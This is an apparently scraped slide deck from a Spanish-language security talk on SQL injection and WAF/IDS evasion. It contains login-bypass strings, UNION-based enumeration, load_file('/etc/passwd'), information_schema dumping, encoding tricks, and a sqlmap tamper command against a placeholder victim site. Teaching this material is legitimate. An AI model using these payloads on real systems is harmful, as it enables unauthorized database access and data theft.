Upload
rafael-seg
View
1.108
Download
0
Embed Size (px)
DESCRIPTION
Diapositivas de la conferencia de inyecciones sql y evacion de Web Application Firewall
Citation preview
SQL Injection Intrusión a Bases de datos
Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU
Temas que trataremos.Identificación de la
vulnerabilidad
Detección de errores
Estructura de una inyección SQL
Bypass Loggin
Obtención de Datos
Evasión de Firewall
Sql Injection SQLI
Es una vulnerabilidad catalogada de alto riesgo, por su gran capacidad de interactuar firmemente con la base de datos del servidor vulnerable, Actual mente el 80 % de las aplicaciones en internet son vulnerables SQLI
Esta se debe a un pésimo filtrado de las variables de entrada a la base de datos de una aplicación, esta vulnerabilidad se explotara al momento de insertar código SQL arbitrariamente en los campos mal filtrados.
Lo que NO se debe de hacer al desarrollar
El usuario y el password pasan sin ningún filtro directamente a la consulta de la base de datos.
$usuario= $_POST[‘nombre’];$password=$_POST[‘pass’];$sql= “SELECT * FROM usuarios WHERE usuario=‘$usuario’ AND password=‘$password’”;
SQLILa comilla MAGICA.
El uso de las comillas simples antes de realizar una inyección son totalmente importantes pues nos ayudan a identificar si el sistema es vulnerable o no, ya que al insertarla en un parámetro la respuesta por parte del servidor será un error de sintaxis SQL.
Los strings en sql son delimitados por comillas simples (‘)
SQLILa comilla MAGICA.
SQLILa comilla MAGICA.
http://www.victima.com/seguridad/consultas.php?id=989%27
?id=989 --------------- parámetro vulnerable%27 -------------------- comilla simple en Hexadecimal
SQLIDetección de errores
http://www.victima.com/consultas.php?id=9’
http://www.victima.com/consultas.php?id=9’’)’’
http://www.victima.com/consultas.php?id=9*/*
http://www.victima.com/consultas.php?id=9/*
http://www.victima.com/consultas.php?id=9--
http://www.victima.com/consultas.php?id=9’’--
http://www.victima.com/consultas.php?id=9’’
http://www.victima.com/consultas.php?id=9#
‘‘’)’’*/*/*--‘’- -’’#
Bypass Loggin
Bypass LogginSentencia “OR”
Para pasarnos un loggin Se utiliza la sentencia OR ya que esta significa que si algo es verdadero entonces todo será verdadero OR 1=1 . Esto provocará que automáticamente toda la consulta sea verdadera, sea cual sea el usuario.
1.- V or V = VERDADERO-------------------- ‘’OR 1=1 /* ‘2.- V or F = VERDADERO-------------------- “OR 1=0 /* ‘3.- F or V = VERDADERO-------------------- “OR 0=1 /* ‘4.- F or F = FALSO----------------------------- “OR 0=0 /* ’
Bypass LogginSentencia “OR”
admin’ - - admin’ # admin ‘ /* ‘ or 1=1- - ‘ or 1=1# ‘ or 1=0/* ‘) or 1=0 ‘1’=‘1- - ‘) or 1=1 (‘1’=‘1 - - ‘) */ 1=0 #
SQLIObtención de columns
Index.php?id=18+union+all+select+,1,2,3,4,5,6,7—
Ocurrió un error al intentar consultar la BD
Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—
Ocurrió un error al intentar consultar la BDThe used SELECT statements have a different number of columns
SQLIOtra forma
Victima.php?id=-1 ORDER BY 1/*Victima.php?id=-1 ORDER BY 2/*Victima.php?id=-1 ORDER BY 3/*Victima.php?id=-1 ORDER BY 4/*Victima.php?id=-1 ORDER BY 5/*Victima.php?id=-1 ORDER BY 6/*Victima.php?id=-1 ORDER BY 7/* ----------- Error
SQLIPrint de columnas
victima.php?id=-1+union+all+select+1,2,3,4,5--
SQLIload_file(‘/etc/passwd’)--
victima.php?id=-1+union+all+select+1,2,3,4,load_file('/etc/passwd')--
Y el antivirus CLAMAV ni sus luces
SQLIAlgunos comandos
version() versión de MySQLdatabase() nombre de la BDcurrent_user() usuario y host last_insert_id() ultimo valor de columna AUTO_INCREMENTconnection_id() ID de una conexión @@datadir directorio de la db
SQLIINFORMATION_SCHEMA
Y obtención de datos
Proporciona acceso a los metadatos de la base de datos. El diccionario de datos o catalogo del sistema.
INFORMATION_SCHEMA
INFORMATION_SCHEMA.SCHEMATA
SCHEMATA--------------------------------Información acerca de la DBTABLES-------------------------------------Proporciona información de las tablasCOLUMNS----------------------------------Información de columnasSTATISTICS--------------------------------Índices de tablasCOLUMN_PRIVILEGES-----------------Permisos de tablas
1+union+all+select+1,table_name,3,4,5+from+information_schema.tables
Obtención de tablas+limit+1,1--
ColumnasColum_name
Una vez obtenido el nombre de la tabla, se realiza la petición para ver su contenido.
Obtención de datos group_concat()
Se concatena el las variables obtenidas anteriormente, separadas por 0x3a para apreciar mejor el resultado.
Obtención de información
OBJETIVOMostrar el ataque de inyección SQL y el dumpeo de la BD. en un ambiente controlado.
Video de una inyección SQL
¿ Como funciona el IDS e IPS ?
Evasión de IDS
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Video de una evasión realizada a mano
OBJETIVOMostrar la evasión de phpids
¿ Programas?
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Char encodeURL Encode
3-------------------------- %334-------------------------- %345-------------------------- %356-------------------------- %36A --------------------------%41B --------------------------%42 C --------------------------%43
Útil para evadir detección de palabras
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Char-doble encode
Cifra en Hexadecimal, útil cuando la aplicación emplea Url encode
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Char-unicode encode
Cifrando con el estándar Unicode
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Space 2 more hash
remplaza los espacios en la petición por %23randomText%0A, y después es cifrado con URL encode
El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
Space 2 mssql blank
Cifra con un random de caracteres en los espacios.
OBJETIVOMostrar la evasión de un WAF , mediante inyección a mano.
Prueba de concepto
¿ Con que comando?
./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper "space2morehash.py“--dbms
Llegando a una conclusion
El resultado.
Base de datos
Gracias !!!
Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU
@NosferatuHacknosferatuhack.blogspot.mx
¿Dudas?
¿Dudas?